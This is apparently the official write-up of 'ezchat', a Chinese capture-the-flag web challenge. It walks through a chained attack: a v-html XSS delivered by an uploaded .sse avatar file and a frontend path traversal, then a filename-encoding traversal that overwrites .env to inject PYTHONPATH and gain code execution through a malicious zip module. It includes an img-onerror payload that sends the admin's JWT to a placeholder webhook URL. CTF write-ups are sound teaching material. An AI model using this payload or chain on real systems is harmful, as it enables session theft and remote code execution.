# ezchat

## 题目描述

人无完人，有时候与其追求不存在的完美，不如去寻找能包容你不足的地方。

ezchat就是一个这样的地方。

备注1：实际docker使用的前端文件是app目录内的build之后的文件，但为了便于选手分析前端漏洞，build前的vue.js项目源代码也在附件中提供了。

备注2：在附件中搜索“提示”，以获取一些提示。

备注3：需要带出数据的场景，可以使用[webhook.site](https://webhook.site)。

**挑战目标**

分析前端与后端代码，找出并利用潜在的安全漏洞。寻找XSS漏洞，将URI发送到/api/report/让管理员访问，以获得`flag1`。寻找其他漏洞，获取位于服务器根目录下的`/flag2`。

## 预期解法

### flag1

**1、** 前端是使用vue.js编写的单页应用，首先在前端搜索v-html（vue.js的不安全输出方法），找到ChatView和SharedConversationView中都有这一行：

`<div v-if="msg.is_html" v-html="msg.content"></div>`

如果一条message的is_html属性是true，就会被以HTML格式输出，能导致XSS。这个message是通过EventSource向后端响应api接口请求得到的。

审计后端代码（核心逻辑位于/app/api/views.py），发现ChatView只能看到自己的聊天记录，而SharedConversationView可以看到任何人已经分享的聊天记录，因此初步思路是构造一个包含`is_html=true`的消息的聊天记录并分享，将分享URL发送给admin bot。

在修改个人信息的功能中，可以上传用户头像，后端会使用Image库将上传的头像重新保存到服务器上，因此保存到的图像肯定是标准格式的（开头会有对应文件类型的魔法数字）。bmp和ppm是两种比较好的图像格式，除了开头部分之外，其余内容都是完全可控的（相关脚本参考 sol.py）。保存到的文件路径是：

```python
if current_user.is_superuser:
    filename = html.unescape(avatar_file.name)
else:
    filename = avatar_file.name
os.path.join(settings.AVATAR_UPLOAD_DIR, filename)
```

看上去有路径穿越漏洞，但实际上django会对request.FILES的name属性进行安全处理：

![alt text](image.png)

正常情况会避免路径穿越，但如果后端用html.unescape(avatar_file.name)这种方式在过滤后再进行一次解码，那么过滤就会失效，只需要在发请求的时候对文件名进行两次HTML编码就能绕过过滤。因此，普通用户无法路径穿越，管理员用户可以路径穿越。

**2、** 考虑通过文件上传来XSS，后端禁用了包含'htm'的文件名，没法写HTML文件；由于写入的文件开头有垃圾数据，也没法写XML文件（包括SVG），似乎没法直接通过文件上传来XSS。联想到mime.types里有提示：`text/event-stream				sse`，只要上传.sse后缀名的文件，请求时服务端响应的content-type就会是text/event-stream。联系到前端的逻辑，如果能让SharedConversationView请求后端api得到的响应是我们上传的文件，就可以随便写`is_html=true`的消息了。前端的EventSource要求content-type必须是text/event-stream，不管实际上响应是分多次返回的还是一次性全部返回都可以，如果响应开头有垃圾数据也会忽略（这也就是题目描述所说的“能包容你不足的地方”之一）。

**3、** 接下来还需要想办法让SharedConversationView请求后端api得到的响应是我们上传的文件。前端请求的后端api是：

```typescript
eventSource.value = new EventSource(
    `${apiClient.defaults.baseURL}/shared-conversations/${shareUuid}/`
  );
```

将shareUuid拼接进了请求URL，而shareUuid是通过router从地址栏URL获取的（router/index.ts）：

```typescript
{
    path: '/shared/:shareUuid',
    name: 'shared-conversation',
    component: SharedConversationView,
    props: true
}
```

并没有进行安全检查。尝试访问`/shared/a%2Fb`，会发现请求的后端URI变成了`/api/shared-conversations/a/b/`！可见router在提取出路径中的变量后会URL解码之后再传递，这就导致了前端的路径穿越。先上传一个包含内容如下的test.sse：

```

data: {"id": 1, "role": "assistant", "content": "<img src=x onerror=\\"location.href = '<WEBHOOK_URL>'+window.localStorage.access_token\\">", "is_html": true, "created_at": "2025-10-17T12:20:44.128236Z"}

data: [DONE]
```

然后将`/shared/..%2F..%2Fuploads%2Favatars%2Ftest.sse`这个URI通过/api/report/发送给admin bot，即可窃取管理员的JWT，然后访问/api/flag/得到`flag1`。（注意v-html是通过innerHTML插入的，直接写script元素的话里面的JavaScript不会执行）

### flag2

**1、** 通过XSS获取到管理员的JWT后，上传头像的接口可以通过对文件名进行两次HTML编码来绕过django的过滤，将文件保存到服务器的任意位置（但开头仍然有垃圾数据）。

dockerfile中启动gunicorn使用的配置文件gunicorn.conf.py中配置了max_requests = 100，因此修改/app下的文件后可以方便地重启worker进程来触发RCE。但由于我们写入的文件开头有垃圾数据，没法写入python源代码文件以及.pyc .so等开头有魔法数字的文件。除了这些文件类型，还有什么文件类型是可以被python加载执行，并且能够包容文件开头的垃圾数据的？没错，就是.zip文件。python的zipimport机制可以从压缩包中导入模块，而这个过程是从后往前解析文件的，文件开头的垃圾数据没有任何影响（“能包容你不足的地方”之二）。

**2、** 接下来需要找到一个import的地方，来从写入的压缩包中import恶意模块来RCE。由于没法删除服务端的/app目录，其他python标准库的安装路径和第三方库的安装路径也都没有写入权限，我们需要想一个办法来修改某个python进程的sys.path。影响sys.path的方法就是PYTHONPATH环境变量。而gunicorn.conf.py中有：

```python
def post_fork(server, worker):
    load_dotenv()
```

会在每次创建新的worker进程后，从.env中加载环境变量（如DEEPSEEK_API_KEY）。既然我们能上传文件，而且也可以覆写服务端已经存在的文件，那么可以覆写/app/.env，写一个PYTHONPATH，这样触发重启后新的worker进程就会携带这个PYTHONPATH环境变量。`dotenv.load_dotenv()`在读取.env文件时，会忽略其中格式有误的行，仅仅发出警告，而不报错（“能包容你不足的地方”之三）。

**3、** 最后，PYTHONPATH环境变量并不会改变这个worker进程的sys.path。只有当携带PYTHONPATH环境变量的进程创建一个新的python进程时，这个新进程才会使用PYTHONPATH重新构造自己的sys.path，将PYTHONPATH中的路径插入到sys.path的工作目录之后，在所有python标准库的安装路径和第三方库的安装路径之前。ReportURLView视图中使用`subprocess.Popen`来执行admin_bot.py，正好符合这个条件！因此，当通过.env文件注入PYTHONPATH环境变量之后，请求/api/report/的时候，新创建的python进程的sys.path就会包含注入的路径，在admin_bot.py开头：

```python
from playwright.async_api import async_playwright
import asyncio
import argparse
```

任意选一个库覆盖即可实现RCE。（在sol.py中，我上传了一个/app/attack.zip，其中有一个恶意的argparse.py，并注入环境变量PYTHONPATH=/app/attack.zip）上传/app/attack.zip和/app/.env后，发送一些请求让worker进程重启，然后请求一次/api/report/触发命令执行。运行/readflag读取到`/flag2`。